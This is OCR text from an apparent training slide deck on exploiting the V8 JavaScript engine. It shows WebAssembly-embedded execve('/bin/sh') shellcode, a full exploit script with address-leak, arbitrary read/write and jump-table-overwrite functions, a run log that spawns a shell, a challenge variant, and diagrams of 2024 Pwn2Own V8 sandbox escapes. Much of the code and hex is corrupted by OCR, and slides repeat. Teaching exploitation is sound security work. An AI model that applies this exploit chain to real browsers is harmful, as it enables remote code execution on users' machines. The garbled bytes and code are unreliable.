: 0x07eb909020e3c148 : : f64.const 1.645688560656/564e-270 '
| 0x07eb909053ch0148 | L Gegoneil LOB0S21 277 15088 e 270,
| 0x07eb583b60e78948 | diog ,'
| 0x07ebd23148163148 ! o g
' 0x07eb90909090050f | ) g o
—_—— = = — — j——————== ) I/

‘. !
] s Q. ,
: var wasmCode = new UinT8Arroy([
|
|
|

I
OXOO 0x61, Ox73, Oxéd. - Oxla, Oxla, Oxla, Oxla, Oxla, Oxla, Oxla, OxOb :
I
I

EAQAST
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Exploitation

13 Shellcode (2)

How to make Shellcode?

Exploit

Find

rwx space

Find @
Entrypoint

Write a
shellcode

Disassemble

fé4 const 1.63052427775809e-2/0

T e e 1
] - f64.const 1.6181477236817195e-270 |

________ oo, | f64.const 1.6177848829038078e-270 1

| 0x07eb909090909090 | | 64 const 1.630523884017562¢-270 |

| 0x07eb5b0068732f68 | T64.const 1.6305240634909753e-270 1

| Ox07eb596e69622f68 ! | f64.const 1.6175077909294658e-270

: 0x07eb909020e3c148 : : f64.const 1.645688560656/564e-270 '

| 0x07eb909053¢b0148 | e gensi L0824 277 7905 EAs 270,

| 0x07eb583b60e78948 | eliope ]

| 0x07¢bd23148163148 ! Q}op /,'

| 0x07eb90909090050f | ) R

SR \.\ _______ | ,'

_________ e e

<

ar wasmCode = new UinT8Arroy([

OxOO Ox61, 0x73, Oxéd.

x1a, Oxla, Oxla, Oxla, Oxla, Oxla, Oxla, OxOb

0006
0008
000D
O00E
0010
0015

O0IE
0020
0023

0026
0028
002B

0038

EBO/

682F 736800
oB

EBO/
682F62696E
59

EBO7/
4801CB
53

EBO7/
4889E/
6A3B

OF05

JMP
PUSH
POP
JMP
PUSH
POP

JMP
ADD
PUSH
JMP
MOV
PUSH

SYSCALL

OO0F
0068732F
RBX

0017
6E69622F
RCX

0027
RBX,RCX
RBX

002F
RDI,RSP
003B

117
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[I

Exploitation

13 Shellcode (2)

How to make Shellcode?

Exploit

Find

rwx space

Find @
Entrypoint

Write a
shellcode

Disassemble

CTTTT T oo T e (module
(- execvel/binfshi )i (func (export _Sargv_>_<r_es_uli fed) _____
S [ ! | 64.const 1.63052427775809¢-270 1
. - f64.const 1.6181477236817195¢-270 |
________ | ZE | f64.const 1.617/78488290380/8e-270 1
| 0x07eb909090909090 | | 64 const 1.630523884017562¢-270 |
| 0x07eb5b0068732f68 | f64.const 1.6305240634909753e-270 1
| 0x07eb596669622f68 ! ! £64.const 1.6175077909294658¢-270
: 0x07eb909020e3c148 : : f64.const 1.645688560656/564e-270 '
| 0x07eb909053¢b0148 | e gensi L0824 277 7905 EAs 270,
| 0x07eb583b60e78948 | eliope ]
| 0x07¢bd23148163148 ! Q}op /,'
| 0x07eb90909090050f 1 ) e
S Rt | ,
- 1
_________ DT

ar wasmCode = new UinT8Arroy([

OxOO Ox61, 0x73, Oxéd.

<

I
I
xla, Oxla, Oxla, Oxla, Oxla, Oxla, Oxla, OxOb 1
I
I

0006 EBO/

0008 682F 736800
000D 5B

O00E EBO/

0010 682F62696E
0015 59

O0IE EBO/

0020 4801CB
0023 53

0026 EBO/

0028 4889E/
002B 6A3B

0038 OF05

IPUSH |

OO0F
0068732F
RBX

0017
6E69622F
RCX

0027
RBX,RCX
RBX

002F
RDI,RSP
003B

118
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Exploitation

13 Shellcode (2)

How to make Shellcode?

Exploit

Find

rwx space

Find @
Entrypoint

Write a
shellcode

Disassemble

fé4 const 1.63052427775809e-2/0

e e |
] -%4 const 1.6181477236817195e-270 |
________ | S | f64.const 1.61778488290380786-270 1
| 0x07eb909090909090 | | 64 const 1.630523884017562¢-270 |
| 0x07eb5b0068732f68 | 164.const 1.6305240634909753e-270 |
| Ox07eb596e69622f68 ! | f64.const 1.6175077909294658e-270
: 0x07eb909020e3c148 : :fé4<xxwr1é456885606567564e 270'
| 0x07eb909053¢b0148 | e gensi L0824 277 7905 EAs 270,
| 0x07eb583b60e78948 | eliope ]
| 0x07¢bd23148163148 ! Q}op /,'
| 0x07eb90909090050f | -

ar wasmCode = new UinT8Arroy([

OxOO Ox61, 0x73, Oxéd.

<

x1a, Oxla, Oxla, Oxla, Oxla, Oxla, Oxla, OxOb

0006 EBO/

0008 682F 736800
000D 5B

O00E EBO/

0010 682F62696E
0015 59

O0IE EBO/

0020 4801CB
0023 53

0026 EBO/

0028 4889E/
002B 6A3B

0038 OF05

JMP
PUSH
POP
JMP
PUSH
POP

JMP
ADD
PUSH
JMP
MOV
PUSH

SYSCALL

v hs/

002F

’———’

execve
number

119
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111 Exploitation

1% Shellcode Entry-point (1) Find Write a Find a

Exploit

rwx space shellcode Entrypoint

Example @

/] wasm_shell js

var wasm_code = new Uint8Array([

Ox00, Ox61, Ox/3, Ox6d, 0x01, 0x00, Ox00, 0x00, Ox01, Ox05, Ox01, Ox60, 0x00, Ox01, Ox/c, Ox03, Ox02, Ox01, Ox00, OxO7, Ox09, Ox01, Ox05, Ox/3, Ox/0, Ox/2, Ox61, Ox/9
Ox00, 0x00, Ox0a, Ox53, Ox01, Ox51, 0x00, Ox44, Ox?0, Ox0, 0x20, 0x20, 0x20, Ox90, Oxeb, OxO/, Ox44, Ox68, Ox2f, Ox/3, Ox68, Ox00, Oxbb, Oxeb, Ox07/, Ox44, Ox68
Ox2f, Ox62, Ox69, Oxbe, Ox59, Oxeb, O0x0/, Ox44, 0x48, Oxcl, Oxe3, Ox20, 0x20, Ox20, Oxeb, Ox0/, Ox44, 0x48, 0x01, Oxcb, 0x53, 0x?0, 0x20, Oxeb, Ox0/, 0x44, Ox48,
Ox89, Oxe/, Ox6a, Ox3b, 0x58, Oxeb, Ox07, Ox44, 0x48, 0x31, Oxf6, Ox48, Ox31, Oxd2, Oxeb, Ox07/, 0x44, OxOf, Ox05, Ox20, Ox90, 0x?0, 0x20, Oxeb, Ox0/, Oxla, Oxla,
Oxla, Oxla, Oxla, Oxla, Oxla, OxOb 1):

var wasm_module = new WebAssembly. Module(wasm_code);

var wasm_instance = new WebAssembly.Instance(wasm_module):

var f = wasmlnstance.exports.spray:

f():

%DebugPrint(wasm_instance):

while(1):

DebugPrint: 0xcld0019ab55: [wasmInstanceObject] in OldSpace
- map: 0x0c1d001913al <Map[208] (HOLEY_ELEMENTS)> [FastProperties]

- jump_table_start: 0x6194c665000

EAQAST
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111 Exploitation

1% Shellcode Entry-point (2) Find Write a Find a

Cpleft rwx space shellcode Entrypoint

Example @

/] wasm_shell js

var wasm_code = new Uint8Array([

0x00, Ox61, Ox/3, Oxéd, Ox01, 0x00, 0x00, 0x00, Ox01, 0x05, 0x01, Ox60, Ox00, 0x01, Ox/c, 0x03, 0x02, Ox01, Ox00, Ox0/, Ox09, Ox01, Ox05, Ox/3, Ox/0, Ox/2, Ox61, Ox/9
0x00, 0x00, Ox0a, 0x53, Ox01, Ox51, 0x00, 0x44, 0x?0, 0x?0, 0x?0, 0x?0, 0x?0, 0x?0, Oxeb, Ox0/, Ox44, Ox68, Ox2f, Ox/3, Ox68, 0x00, Oxbb, Oxeb, 0x0/, Ox44, Ox68
Ox2f, Ox62, Ox69, Oxbe, Ox59, Oxeb, Ox07/, Ox44, Ox48, Oxcl, Oxe3, 0x20, 0x20, 0x?0, Oxeb, Ox0/, Ox44, Ox48, Ox01, Oxcb, Ox53, 0x?0, Ox?0, Oxeb, Ox07/, Ox44, Ox48,
Ox89, Oxe/, Oxba, Ox3b, Ox58, Oxeb, Ox0/, O0x44, 0x48, Ox31, Oxf6, 0x48, Ox31, Oxd2, Oxeb, Ox0/, O0x44, Ox0f, 0x05, Ox90, 0x90, 0x20, 0x?0, Oxeb, Ox07/, Oxla, Oxla,
Oxla, Oxla, Oxla, Oxla, Oxla, OxOb 1):

var wasm_module = new WebAssembly. Module(wasm_code);

var wasm_instance = new WebAssembly.Instance(wasm_module):

var f = wasmlnstance.exports.spray:

f):

%DebugPrint(wasm_instance):

while(1);

DebugPrint: 0xcld0019ab55: [wasmInstanceObject] in OldSpace
- map: 0x0c1d001913al <Map[208] (HOLEY_ELEMENTS)> [FastProperties]

0x6194C665000

x/10gx 0x6194C665

0x6194c665800: 0x4856086ae5894855 0x3b4900000010ec81
0x6194c665810: 0x00000092860fa065 0x909090909090ba49
0x6194c665820: 0x49c26ef9clc407eb 0xeb5b0068732f68ba
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1% Shellcode Entry—point (3)

Exploit

Find Write a Find @

Example @

rwx space shellcode Entrypoint

/] wasm_shell s
var wasm_code = new Uint8Array(!

Ox00, Ox61, Ox/3, Ox6d, 0x01, 0x00, Ox00, 0x00, Ox01, Ox05, Ox01, Ox60, 0x00, Ox01, Ox/c, Ox03, Ox02, Ox01, Ox00, OxO7, Ox09, Ox01, Ox05, Ox/3, Ox/0, Ox/2, Ox61, Ox/9
Ox00, 0x00, Ox0a, Ox53, Ox01, Ox51, 0x00, Ox44, Ox?0, Ox0, 0x20, 0x20, 0x20, Ox90, Oxeb, OxO/, Ox44, Ox68, Ox2f, Ox/3, Ox68, Ox00, Oxbb, Oxeb, Ox07/, Ox44, Ox68
Ox2f, Ox62, Ox69, Oxbe, Ox59, Oxeb, Ox0/, Ox44, 0x48, Oxcl, Oxe3, 0x20, Ox90, 0x20, Oxeb, Ox0/, Ox44, Ox48, Ox01, Oxcb, Ox53, 0x?0, Ox?0, Oxeb, OxO/, Ox44, 0x48,
Ox89, Oxe/, Ox6a, Ox3b, Ox58, Oxeb, Ox07, Ox44, Ox48, Ox31, Oxf6, 0x48, Ox31, Oxd2, Oxeb, Ox0/, Ox44, OxOf, Ox05, Ox20, 0x?0, 0x20, Ox20, Oxeb, Ox0/, Oxla, Oxla,

Oxla, Oxla, Oxla, Oxla, Oxla, OxOb 1)

var wasm_module = new WebAssembly. Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_module):
var f = wasmlnstance.exports.spray:

f):

%DebugPrint(wasm_instance):

while(1);

DebugPrint: 0xcld0019ab55: [wasmInstanceObject] in OldSpace
- map: 0x0c1d001913al <Map[208] (HOLEY_ELEMENTS)> [FastProperties]

- jump_table_start: Ox6194c665066.

X/10gx 0x6194c665

0x6194c665800: 0x4856086ae5894855 0x3b4900000010ec81
0x6194c665810: 0x00000092860fa065 0x909090909090ba49
0x6194c665820: 0x49c26ef9clc407eb 0xeb5b0068732f68ba

122

x/301 0x6194c665 0x07eb909090909090

0x6194c665800:

0x6194c665812:
0x6194c665818:
0x6194c665822:
0x6194c665827:
0x6194c665831:
0x6194c665836:

push
jbe
movabs
vmov(q
movabs

vmov(
movabs

0x07ebbb0068732f68

0x07/ebb%6e69622f68

i r10,0x7eb90909090909
i 0

ixmmO,rlO

' r10,0x7eb5b0068732F6
1 8

“xmmt; P10

EAQAST
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% Shellcode Entry-point (4) . Find Write a Find a
xploit :
rwx space shellcode Entrypoint
Expectation vs Real
hs/” =,
JMP 000F 1| |push 'bp
PUSH 10068732FF" | | mov rbp,rsp q
POP RBX
JMP 0017 jbe Ox6194c6658aa I? B o ,
PUSH bEG9622F movabs  r10,0x7eb909090909090 ¥
POP RCX vmovg xmmO,r10 q e
movabs r10,0x/ebbb0068/32f68
JMP 0027 VMovQ xmm!,r10 ‘z\ {
ADD RBX.RCX movabs r10,0x7eb596e69622168 Lo : "
PUSH RBX vmovg xmm?2,r10 hy
movabs r10,0x/eb?09020e3c148
JMP 002F ,,
MOV RDIRSP (
PUSH 003B W
SYSCALL

EAQAST
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1% Shellcode Entry-point (5) Find Write a Find a

Cpleft rwx space shellcode Entrypoint

E '|' 1_ Recﬂ x/101 0x6194c665
XpeC arion VS 0x6194c665810: movabs
‘ , 0x6194c66581a: al,gs:0xba4900000092860f
hs/ o 0x6194c66581b: nop
JMP 000F_ 1| |push 'bp "oP
PUSH 10068732r ¢ mov rbp,rsp -
5OP Sy x/107 0x6194c665
JMP 0017 Jbe Ox6194c6658a0 0x6194c665820: jmp 0x6194c665829
0x6194c665822: vmovq xmmO,rl0

PUSH 6E69622F movabs  r10,0x/eb?09090909090 0x6194c665827: movabs r10,0x7eb5b006873268
POP RCX vmovq xmmO,r10

movabs r10,0x/ebbb0068/32f68
JMP 0027 vmovQ xmm!1,r10
ADD RBX.RCX movabs r10,0x7eb596e69622168
PUSH RBX vmovQ xmm2,r10

movabs r10,0x/eb?09020e3c148
JMP 002F
MOV RDI,RSP
PUSH 003B
SYSCALL

EAQAST
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1% Shellcode Entry-point (6) Find Write a Find a

Lgp el rwx space shellcode Entrypoint

E 1_ 'I' R g | x/101 0x6194c665810
XpeC arion VS 0x6194c665810: movabs
‘ , 0x6194c66581a: al,gs:0xba4900000092860f
hs/ . 0x6194c66581b: nop
JMP O00F____ /| |push rbp e
PUSH 10068732r ¢ mov rbp,rsp -
SOPp RBY x/107 0x6194c665820
JMP 0017 joe Ox6194c6658a0 0x6194c665820: jmp 0x6194c665829
22: 0,rl10
PUSH 6E69622F | movabs  rl0,0x7eb909090909090 | [ TONAuE A N
POP RCX vmovq xmmO,r10
movabs r10,0x/ebbb0068/32f68
JMP 002/ vmovg xmml r10 x/10i 0x6194c665
ADD RBX.RCX movabs r10,0x7eb596e69622168 0x6194c665827: movabs r10,0x7eb5b0068732F68
PUSH RBX vmovd xmm2,r10 0x6194c665831: vmovq xmml,rl0
oo movabs r10.0x7eb?09020e3c148 0x6194c665836: movabs rl10,0x7eb596€69622f68
JMP 002F e
MOV RDIRSP
PUSH 003B
SYSCALL
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1% Shellcode Entry-point (7) Find Write a

Lgp el rwx space shellcode Entrypoint

EX eC_l_G_I_IOn VS R eQ| x/101 0x6194c665810
p 0x6194c665810: movabs
‘ , 0x6194c66581a: al,gs:0xba4900000092860f
hs/ . 0x6194c66581b: nop

JMP 000F______ ] oush rbp et
PUSH 10068732k mov. rbp.rsp :
oOPp RBY x/101 0x6194c665820
JMP 0017 joe 0x6194c6658a00 0x6194c6658205 jmp 0x6194c665829
PUSH 6E69020F | Imovobs  r10,0x7eb909090909090 | [ STHEEE R
POP RCX VMovQ xmmO,r10

movabs r10,0x/ebbb0068/32f68
JMP 002/ vmovg xmml r10 x/10i 0x6194c665827
ADD RBXRCX movabs r10,0x/eb596e69622f68 0x6194c665827: movabs r10,0x7eb5b0068732F68
PUSH RBX vmovq xmm2,r10 0x6194c665831: vmovq xmml,rl10

movabs r10.0x7eb?09020e3c148 0x6194c665836: movabs r10,0x7eb596e6962268
JMP 002F e
MOV RDI,RSP :
PUSH 003B x/101 0x6194c665

0x6194c665 : push 0x68732f

0x6194c66582e: pop rbx

SYSCALL 0x6194c66582f: jmp 0x6194c665838

EAQAST
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Code
Execution

» Executing Shellcode

EAQAST
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111 Exploitation

15 Exploit

Example 10

/] exp.js
var buf = new ArrayBuffer(8):
var f64_buf = new Float64 Array(buf):

var ub4_buf = new BigUinté4 Array(buf):

function Float Tolnt(val){
f64 _buflO]l=val:
return ub4_buf[O];

¥

function IntToFloat(val){
u6b4 _buflO] = val:
return f64_buf[0]:

¥

function DecToHex(val){
return "Ox" + val.toString(16):

h

function High32(x) {

return (x >> 32n) & BigInt(OxfFff{fff);

}
function Low32(x) {

return x & BigInt(Oxfffffff);
}

Utility functions that assist with exploits

Refer fo page 68

Continues on the next slide
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15 Exploit

function AddrOf(obj){ A function that retrieves the address of an object.

find_addr[O] = obj;
return FloatTolnt(oobl4]) & Oxffffffffn: Refer to page 74
I

function AAR (addr){
let index = (addr = cob_data_addr) / 8n:
if ((addr — oob_data_addr) % 8n)
return High32(Float Tolnt(ooblindex])) + (Low32(Float Tolnt(coblindex+1n])) << 32n):
else
return FloatTolnt(ooblindex]):

) _

function AAW (addr, val){

let index = (addr — oob_data_addr) / 8n:

if ((addr — oob_data_addr) 9% 8n) {
ooblindex] = IntToFloat(Low32(Float Tolnt(ooblindex])) + (Low32(val) << 32n)):
ooblindex+1n] = Int ToFloat(High32(val) + (High32(Float Tolnt(ooblindex+1n])) <<32n))

t

else
ooblindex] = IntToFloat(val):

Continues on the next slide

A function that reads the value stored at an
arbitrary address.

Refer to page 83

A function that writes a value to an
arbifrary address.

Refer fo page 89

129
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15 Exploit Find Write a

Exploit

rwx space shellcode

var oob = [11] :I oob array and find_addr for the AddrOf function / Refer to page 74
var find_addr = [{} ]
oob.splice(=2); —oob occurred | / Refer fo page 62

Our Shellcode / Refer to page 1M1
var farget = new Uint8Array([ |

Ox00, Ox61, Ox/73, Ox6d, 0x01, 0x00, Ox00, 0x00, Ox01, Ox05, Ox01, Ox60, 0x00, Ox01, Ox/c, Ox03, 0x02, Ox01, Ox00, 0xO7, 0x09, Ox01, Ox05, Ox/3, Ox/0, Ox/2, Ox61, Ox/9,
0x00, 0x00, OxO0a, 0x53, Ox01, Ox51, Ox00, Ox44, Ox20, 0x20, 0x20, 0x20, Ox90, Ox90, Oxeb, OxO/7, Ox44, Ox68, Ox2f, Ox/3, Ox68, Ox00, Oxbb, Oxeb, Ox0/, Ox44, Ox68,
Ox2f, Ox62, Ox69, Oxbe, Ox59, Oxeb, OxO7, Ox44, 0x48, Oxcl, Oxe3, 0x20, 0x20, Ox90, Oxeb, O0x0/, Ox44, Ox48, 0x01, Oxcb, 0x53, 0x20, 0x20, Oxeb, Ox0/, Ox44, Ox48,
Ox89, Oxe/, Oxb6a, Ox3b, Ox58, Oxeb, Ox0/, Ox44, Ox48, Ox31, Oxf6, Ox48, Ox31, Oxd2, Oxeb, Ox0/, Ox44, OxOf, Ox05, Ox?20, Ox20, 0x20, 0x90, Oxeb, OxO/, Oxla, Oxla,
Oxla, Oxla, Oxla, Oxla, Oxla, OxOb 1):

var target_module = new WebAssembly.Module(target); j|

: Create Module and Instance, and use the spray function.
var target_instance = new WebAssembly.Instance(target_module): P

- ) . Referto page 108 e e e - ———— e —— ———
var f = target_instance.exports.spray: | I
X If you want to inspect the memory
oob_obj_addr = AddrOf(oob) = OxIn: , .
scls_slaia cdar = oob_osladdr - OxEn j| Get the address / Refer to page 97 directly and proceed, use %DebugPrint
target_addr = AddrOf(target_instance) — OxIn: and while ().
jump_table_start = target_addr + Ox48n: — Find the location of jump_table_start / Refer to page 110

orint("Initial jump_table_start:’, DecToHex(AAR (jump_table_start))):

AAW (jump_table_start, AAR (jump_table_start)+0x829n): — Modify the value of jump_table_start/ Refer to page 120
orint(‘Modified jump_table_start:’, DecToHex(AAR(jump_table_start))):

f0:

%DebugPrint(target_instance):
while(1);

|
|
|
|
|
I ex)
|
|
|
|
|
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15 Exploit

Execute

eqst@kali-6cf584dc95-hp2t6: $ ./d8 pwn.js
Initial jump table start: 0x3db221cfdO0o
Modified jump table start: Ox3db221cfd829

$ ps -p $$
PID TTY TIME CMD
625 pts/0 00:00:00 |sh

H(I'llllTSlIEllﬂllllEl
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16 Challenge

// challenge.js
var buf = new ArrayBuffer(8):
var f64_buf = new Float64 Array(buf):

var ub4_buf = new BigUinté4 Array(buf):

function Float Tolnt(val){
f64 _buflO]l=val:
return u64_bufl[O]:

¥

function IntToFloat(val){
u64_bufl0] = val:
return f64_buf[0]:

¥

function DecToHex(val){
return "Ox" + val.toString(16):

s

function High32(x) {

return (x >> 32n) & BigInt(OxfFff{fff);

}
function Low32(x) {

return x & BigInt(Oxffffffff);
}

Utility functions that assist with exploits

Refer to page 68

Continues on the next slide
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16 Challenge

function AddrOf(obj)1 A function that refrieves the address of an object.
find_addr[0] = obj:
return Float Tolnt(oob[?]) & Oxffffffffn: Refer to page 74

} Challenge 1: Find Correct Index

function AAR (addr){
let index = (addr — cob_data_addr) / 8n: —

A function that reads the value stored at an

if ((addr — oob_data_addr) % 8n) arbrary adedess

return High32(Float Tolnt(ooblindex])) + (Low32(Float Tolnt(ooblindex+1n])) << 32n):
else
return FloatTolnt(ooblindex]):

} _

Refer fo page 83

function AAW (addr, val){

let index = (addr — oob_data_addr) / 8n: N

if ((addr = oob_data_addr) % 8n) { A function that writes a value fo an
ooblindex] = IntToFloat(Low32(Float Tolnt(ooblindex])) + (Low32(val) << 32n)); arbitrary address.
ooblindex+1n] = IntToFloat(High32(val) + (High32(Float Tolnt(ooblindex+1n])) <<32n))

} Refer fo page 89

else
ooblindex] = IntToFloat(val): _

} Continues on the next slide
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16 Challenge

var oob = [1.1]: —

var dummyl = [2.2]; A dummy arrays have been created!

var dummy?2 = [3.3]; How much has the address difference between the oob array and the find_addr array changed?
var dummy3 = [4.4]; This is related to challenge 1.

var dummy4 = [5.5]; oob array and find_addr for the AddrOf function / Refer to page 74

var find_addr = [{}]; -

oob.splice(-2); — oob occurred | / Refer fo page 62

Our Shellcode / Refer to page 1M1
|

var target = new Uint8Array([0, 97,115,109, 1,0, 0, 0,1, 8,2, 96,0,1,124, 96,0, 0, 3, 3,2, 0,1, 7,14, 2, 4,109, 97,105, 110, O, O, 3, 112, 119, 110, O, 1,10, 76, 2, 71, O, 68, 104, 10,
47,115,104, 88, 235, 7, 68,104, 47/, 98,105, O, 91, 235, 7, 68, /2,193, 224, 24,144,144, 235, 7, 68, 72,1, 216, 72, 49, 219, 235, /7, 68, 80, 72,137, 231, 49, 210, 235, /7, 68, 49,
246,106, 59, 88,144, 235, 7, 68,15, 5,144 144,144,144, 235, 7, 26, 26, 26, 26, 26, 26, 11, 2, 0, 111);

Create Module and Instance, and use the spray function.

var target_instance = new WebAssembly.Instance(target_module,{}):
Refer fo page 108

var target_module = new WebAssembly Module(target):
var f = target_instance.exports.main: j|

oob_obj_addr = AddrOf(oob) - OxIn:

oob_data_addr = oob_obj_addr — Ox8n: ] Get the address / Refer to page 97

target_addr = AddrOf(target_instance) — OxIn:

jump_table_start = target_addr + 0x48n: — Find the location of jump_table_start / Refer to page 110

orint("Initial jump_table_start:’, DecToHex(AAR (jump_table_start))):

AAW (jump_table_start, AAR(Jump table_start)+0x???n); Challenge 2 : Find the address of Shellcode — Modify the value of jump_table_start/ Refer to page 120
print("Modified jump_table_start:’, DecToHex(AAR (jump_table_start))):

f0:
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16 Challenge

Get a Shell !

test code: chapterd/challenge.js
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IV Modern Sandbox Escape With Pwn20wn

O1 Modern Sandbox Escape

V8 Sandbox
Pointer Table
- dex | RWX Space
_ == 0 Type + Pointer
-
] Type + Pointer
. Code
2 Type + Pointer
index TrustedPointer Table RWX Space
T == 0 Type + Pointer
] Type + Pointer
: WASM
2 Type + Pointer
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IV Modern Sandbox Escape With Pwn20wn

02 2024 pwn2own (Manfred Paul)

V8 Sandbox Trusted Space
4 )

Find thisl
s N \ “
Trusted Pointer Table .{ WasmTrustedlnstanceData )
. W,
Map
index _ ===» 0 Type + Pointer
Map Pl Jump_table_start
7/

TrusTe.cg_doTo -=" \ /
EQAST
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IV Modern Sandbox Escape With Pwn20wn

02 2024 pwn2own (Manfred Paul)

e mmmmm e m = = Need AARIAAW _ - -
7
V8 Sandbox { Trusted Space *
( ™) |
I
: System Heap d A |
I & J I
I v8:internal:lsolate :
I
I I
l Trusted_pointer |
' I
v8:internal::Heap :
I
|
I
|
( ) ™\ I
- J |
Map |
I
0 Type + Pointer
Map Jump_table_start :
- ’ |
Trusted_data -=-=" \ / /
e e e e e ’

EAQAST
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IV Modern Sandbox Escape With Pwn20wn

03 Details (1)

I

| | static constexpr Address BaseAddress(Address a) { static constexpr intptr_t kAlignment = :

| | refuna&~kAlignmentMask: #===========- - == (static_cast<uintptr_t>(1) << kPageSizeBits): |
V8 Sandbox | static constexpr intptr_t kAlignmentMask = kAlignment - : |

O
>
W
&0
o

B

> O
Q
o
S
S
S
S

| > 10x38b400180000F 0x0000000000000004  0x0000000000040000
: 0x386400180010 : 0x0000555b7fbb3de8l  0x000038b400182138

=S

& ~kAlignmentMask(Ox3FFF) \

v8:iinternal::Heap

8 ~Ox3FFFF
(kAlignmentMask)

Ox38b40019bl1d

DebugPrint10x38b40019b11di [WasmlInstanceObject] in OldSpace
— map: 0x38b4001913a9 <Map[24](HOLEY _ELEMENTS)> [FastProperties]
— prototype: 0x38b400191455 <Object map = 0x38b40019b0cd>

— elements: 0x38b4000006f5 <FixedArray[0]> [HOLEY _ELEMENTS]

— frusted_data: Ox1a3e00042229

Map

Trusted_data

EAQAST

1 40 Experts, Qualified Security Team



IV Modern Sandbox Escape With Pwn20wn

03 Details (2)

@ Let's find the Isolate

X Sandbox Base Address
Ox38b4 — V8:internal:Isolate | found the only base addressl

X v8uinternal::Heap Address ’
Ox555b/fbb3de8 0x555b7fbabff0 : 0x0000000Q00000000  0x00000000000104TI

i 0x555b/fbab000} leOOOO88b4000OOOOO' Ox0000555b/fba6b000

Ox555b7fbab010 OxOOOO7fffd71e8b20 Ox00007/fffd/1e8b20

i b v8:internali:Heap — Oxddc8 +—0x555b7fbab020 : 0x00007fffd71e8b20 0x0000/fffd/1e8b20
System Heap
. J 0x555b7fbab070 : 0x000055557f093600  0x0000555b7f093780
v8:internal:lsolate ) 0x555b7fbab080 : 0x0000555b7f093800  {0x00003864000258d5!
Q) Ox555b/fbab0?0 : Ox000038b40002591 OxOOO?@@4000Q594d
Trusted oot Approximate
r € ointer . :
i distance It's not just the base address| /
Oxddc8

A

v8:internal::Heap
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03 Details (3)

Let's find the Isolat
% Sandbox Base Address @ Lef's find the Isolate

Ox38b4 — V8:internal:Isolate | found the only base addressl
X v8:internal::Heap Address /
Ox555b/fbb3de8 0x558b7fbabH0_ 0x0000000000000000,  0x000000000001041

10x555b/fbab000); leOOOOSSb4000OOOOO' 0x0000555b/fba6000

Ox555b7fbab010 OxOOOO7fffd71e8b2O Ox00007/fffd/1e8b20

f i v8:internali:Heap — Oxddc8 +—0x555b7fbab020 : 0x00007fffd71e8b20 0x00007fffd71e8b20
System Heap
- J< Ox555b7fbab070 : Ox0000555b 70923600 _O_><_QQQ_Q§§_5_QZ£Q?_3_ZE_BQ_
v8:internal::lsolate < @) Ox555b7fbab080 : 0x0000555b7f093800 lQﬁQQ_QQC_SES_bfLQ_QQ_Q_f)_@C_jE)_'
Approximate O Ox555b7fbab 090 : 0x000038b400025911 OxOOO?@@ZLOOOQ\%CMd
, : Approximate
Trusted f <« distance : ,
Corer e 0x258 distance It's not just the base address| W
Oxddc8 o . Trusted Space
V811inTernQ|ZiHeOp < @ LeT S flnd the TrUSTed pOInTer TrUSTeg pOinTer Bgse Address

Ox550b/fba6248 - 0x000055567fc08050 IrO><OOOO103@00000000"

v8:internal:lsolate + Ox258 +———0x555b7fbab258 : -OXOOOO7H594OOOOOO' 'Ox0000555b7chOe8O

W
0x555b7fbab268 :0x0000000000000000 OxOOOOS8b4000OOOé1

Target =81 0000 xxxX XXXX XXXX
TOrgeT+8‘ 0000 yyyy yyyy yyyy

T EQAST
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IV Modern Sandbox Escape With Pwn20wn

03 Details (4)

X WasminstanceObject uint32_t TrustedPointerTable::Handle Tolndex(TrustedPointerHandle handle) const {
0x38b40019bl1d > uint32_tindex = handle >> kTrustedPointerHandleShift:
X Trusted Space Base Address refurn index: \
Oxla3e ¥
\ constexpr uint32_t k TrustedPointerHandleShift = 9;

- ~ pwndbg> x/10gx 0x38b40019blld -1+12  handle
Trusted Pointer Table | (7
. Ox7ff594000000 )
N 0x38b40019b138 : OxFFFfFFFF00040acO” 0x000000060000006]

trusted instance index * 8

0x10008

A

0 Type + Pointer

EAQAST
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IV Modern Sandbox Escape With Pwn20wn

03 Details (5)

X WasmlnstanceObject
0x38b40019b11d

X Trusted Space Base Address
Oxla3e

[ Trusted Pointer Table |
Ox /524000000

A

0 Type + Pointer

WasmTrustedlnstanceData |

v

}

uint32_t TrustedPointerTable::Handle Tolndex(TrustedPointerHandle handle) const {

uint32_t index = handle >> kTrustedPointerHandleShift:

return index: \ \

trusted instance index * 8

0x10008

Map

\ constexpr uint32_t k TrustedPointerHandleShift = 9;

pwndbg> x/10gx 0x38040019blld -1+12  handle

Ox38b40019b138 : Oxffffffff00040acO 0x0000000600000061

0x7ff594010008 :0x00001a3e00042228}  OxFFFffffF00002003

Ox7ff594010018 : OxFFFEFFFFO0002004 OxffFffffO0002005

A 4

d

Jump_table_start

owndbg> job Ox1a3600042229 /
{0x1a3e00042229: [Wasm T rustedinstanceDatal:
= map: 0x386400001f35 <Map184](WASM_TRUSTED _INSTANCE_DATA_TYPE)>

— jump_table_start: 0x214e90a/a000
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IV Modern Sandbox Escape With Pwn20wn

04 2024 Pwn20wn (Edouard Bochin & Tao Yan)

V8 Sandbox

TrustedPointer Table

0 Type + Pointer

1 Type + Pointer

2 Type + Pointer

WasmDispatchTable

Call Target

WasmTrusted
InstanceData

Map

Dispatch_table

Jump_table_start
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Code (RWX Space)

0x382f48/85000
O0x382f48785005
O0x382f48785000
0x382f48/8500c
0x382f48/8500e

Ox382f48/8585e
Ox382f48/8585f
Ox382f48/85860
Ox382f48785869
Ox382f4878586e
Ox382f4878586f
Ox382f48785878
Ox382f48/8587d
Ox382f4878587¢e

jmp 0x382f48785840
jmp 0x3824878580a
add BYTE PTR [rax].af
add BYTE PTR [rax].al
add BYTE PTR [rax].al

nop
imp 0x382f48785869
push Ox68732f “/sh”
pop rox

jmp Ox382f48/8587/8
push Ox6eb69622f “/bin”
pop rcx

jmp Ox382f48/85887
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IV Modern Sandbox Escape With Pwn20wn

05 Details (1)

W ASM Instance & Module V8 Sandbox

Map Map
Trusted Ptr Table Index External Ptr Table Index
WasmModuleObject
ExportsObject

v RWX Space
TrustedPointer Table WasmDispatchTable
0 Type + Pointer Map Call Target Code
| Tyoe + Po (Jump_table_start + ?)
YR® 7 el Dispatch_table
Jump_table_start
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IV Modern Sandbox Escape With Pwn20wn

05 Details (2)

WASM Export Function V8 Sandbox

Trusted Ptr Table Index
WasmModuleObject
ExportsObject

Map
SharedFunctioninfo WasmExportedFunctionData WasmFuncRef

WasmlnstanceObject

ap Index

WasmExportFunction |

WasmExportFunction 2
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IV Modern Sandbox Escape With Pwn20wn

05 Details (3)

V8 Sandbox

P
